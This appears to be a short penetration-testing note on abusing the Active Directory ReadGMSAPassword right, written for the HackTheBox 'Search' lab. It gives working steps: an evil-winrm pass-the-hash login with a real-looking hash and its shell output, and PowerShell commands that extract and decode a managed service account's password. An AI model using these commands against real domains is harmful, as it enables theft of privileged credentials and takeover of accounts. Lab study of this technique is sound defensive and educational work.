ReadGMSAPassword allows an attacker to use the password of a Group Managed Service Account which usually has elevated privileges. Environment: Search from HacktheBox
Initial Detection:
Reading GMSA using GMSAPasswordReader.exe
If users can read the GMSA, it means that we can upload a binary called "GMSAPasswordReader.exe".
The rc4_hmac hash can be used interchangebly with the NTLM hash.
evil-winrm -i 192.168.105.165 -u svc_apache$ -H 45EA837EDB477DDA17B5822AD768D0D7
Evil-WinRM shell v3.4
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_apache$\Documents>
So we can just evil-winrm into that machine.
Remotely Read GMSA Passwords
If we for some reason do not have users who can authenticate to winrm we could posssibly use this to retrieve the hash remotely.
Converting the GMSA to Powershell Variable for Future Use
So lets say we compromised a user that has GMSA read on user2 and user2 has privileges to do somehting else, we shuold use the following chaing of commands to store the GMSApassword of user2 for future use.
In BloodHound Take a look at the Extra Properties tab of the user we can read hte GMSA password for. The CN:<BLAHBLAHBLAH> is important.
$gmsa = Get-ADServiceAccount -Identity <CN NAME OF ACCOUNT WE WANT TO COMPROMISE> -Properties 'msds-managedpassword'
$mp = $gmsa.'msds-managedpassword'
$mp1 = ConvertFrom-ADManagedPasswordBlob $mp
$passwd = $mp1.'currentpassword'
$user = '<CN of User of we can read gmsa password>'